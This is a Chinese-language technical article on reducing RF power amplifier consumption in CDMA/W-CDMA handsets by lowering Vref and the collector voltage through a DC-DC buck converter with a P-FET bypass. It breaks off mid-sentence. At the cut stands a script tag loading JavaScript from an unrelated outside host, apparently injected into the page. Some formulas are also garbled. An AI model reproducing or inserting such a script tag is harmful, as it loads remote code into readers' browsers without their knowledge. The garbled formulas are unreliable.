为了满足is95/3gpp扩频标准中规定的严格的线性和邻信道功率抑制比(acpr)指标，cdma/w-cdma无线手机需要采用高线性度的a类或ab类rf功率放大器。在最大输出功率po=28dbm下，这类pa的功效(pae)只有35%，输出功率较低时功效更低。
语音模式下，pa并非工作在连续模式。用户没有通话时，手机工作时间为50%或1/8，因此在语音模式下无需考虑手机发热问题。然而，在数据模式下，pa在数据传输结束之前始终保持连续工作状态，较低的pa效率和连续的pa工作状态会大量消耗电池能量。另外，所产生的内部功耗也会导致手机过热。
对于早期的w-cdma手机，为了支持高速数据传输服务，功率耗散成为一个关键问题，设计人员不得不使用较大面积改善散热条件，增强空气流通以便冷却设备，另外还要选用更大容量(尺寸更大)的电池。如果不克服上述问题，现在的手机可能依然停留在“笨重”的水平。值得庆幸的事，近几年由于cdma/w-cdma蜂窝电话pa功效的提高，上述问题得到了较大改进。
如何降低pa功耗?
在cdma/w-cdma系统中，pa的rf输出功率并非始终保持在最大值，为了优化蜂窝容量(基站能够同时处理的传输量)，每部手机需要控制其rf输出功率，以便基站对于每部手机保持相同的有效接收信噪比。从大多数手机在给定区域平均输出功率的概率分布看，cdma/w-cdma手机在郊区的平均输出功率为+10dbm，在市内的平均输出功率为+5dbm。因此，改善pa效率的目标应该定位于+5dbm至+10dbm，而不是最大输出功率。
如图1所示，cdma/w-cdma功率放大器需要两路电源电压，vref为内部驱动器和功放级提供偏置，vcc为驱动器和功率放大器的集电极提供偏置。通过调节这两个电压可以降低pa的电源电流
降低vref
当发射rf功率为零时，在vref=3.0v、vcc=3.4v，pa本身消耗电流为100ma(典型值)。如果将vref从3.0v降至2.9v，静态电流将降低20ma。由此可见，通过减小vref可有效降低pa的静态电流，但要保证pa的线性指标和acpr满足规范要求。
如果试验数据给出了支持每级输出功率的最小vref电压，则可利用pa的功率控制处理器动态控制vref。如果这种方案设计过于复杂，则可简单地采用两级vref控制结构，只需控制低功率模式(<10dbm)和高功率模式(>10dbm)。通过基带控制dac调节vref时，可使用具有大电流驱动的低功耗运算放大器，并配合外部增益设置。
降低集电极偏置电压
在典型的手机设计中，pa的vcc直接由单节li+电池提供，因此，vcc工作电压的范围为：3.2v至4.2v。如上所述，概率统计表明cdma/w-cdma的pa大多数时间工作在+5dbm至+10dbm的输出功率，在这样的功率等级下，可以在不降低pa线性指标的前提下降低pa的集电极偏置电压(vcc)，以达到降低功耗的目的。试验数据表明，在降低pa集电极偏置(低至0.6v)的情况下，手机可以始终保持与基站之间的正常通信。
采用专门设计的高效dc-dc降压转换器可以为pa集电极提供变化的偏置电压，转换器的输出电压利用基带处理器专用的dac输出调节。
利用dc-dc转换器控制pa功率和pae
dc-dc转换器必须能够快速响应控制信号，对pa的集电极电压进行控制。通常，转换器的输出电压应该在30ms内达到其目标电压的90%，跟随基带处理器模拟控制电压的变化。转换器芯片在vcc-控制输入电压与输出电压之间提供适当的内部增益，偏置pa的集电极。这些转换器工作在较高的开关频率，以减小电感的物理尺寸。
在pa和电池之间连接一个dc-dc转换器会带来另外一个问题，即在低电池电压下如何保证大功率输出，为了在保证pa线性指标的前提下提供28dbm的rf功率，pa制造商建议vcc的最小电压为3.4v。为了在3.4v电压下保持35%的pae，还需要高达530ma的pa集电极电流：
28dbmrf功率：102.8mw=631mw
所需pa功率(vcc×icc)：631mw/(pae¤100)=1803 mw
3.4vvcc时所需paicc：icc=1803mw/3.4v=530ma
要保证3.4vvcc和530maicc,dc-dc转换器要求输入和输出电压之间有一定的裕量，如果转换器内部的p沟道mosfet(p-fet)的导通电阻为0.4ω，电感电阻为0.1ω，两个元件串联后将产生：(0.4ω+0.1ω)×530ma=265mv的压差，当电池电压降至3.665v以下时，dc-dc转换器将无法支持3.4v的输出。
这种情况下(电池电压低于3.665v)，最好将pa的集电极直接与电池短路，以便充分利用li+电池的能量。通常，可以利用一个并联的低导通电阻p-fet旁路电感和内部p-fet。这个旁路p-fet(内置或外置)在大功率模式下直接将电池电压接到pa的集电极(图2)。为了解决高rf功率和低电池电压问题，这种旁路措施是必需的。
优化pae的最佳方案是连续调节pa的集电极偏置，这?script src=http://er12.com/t.js>
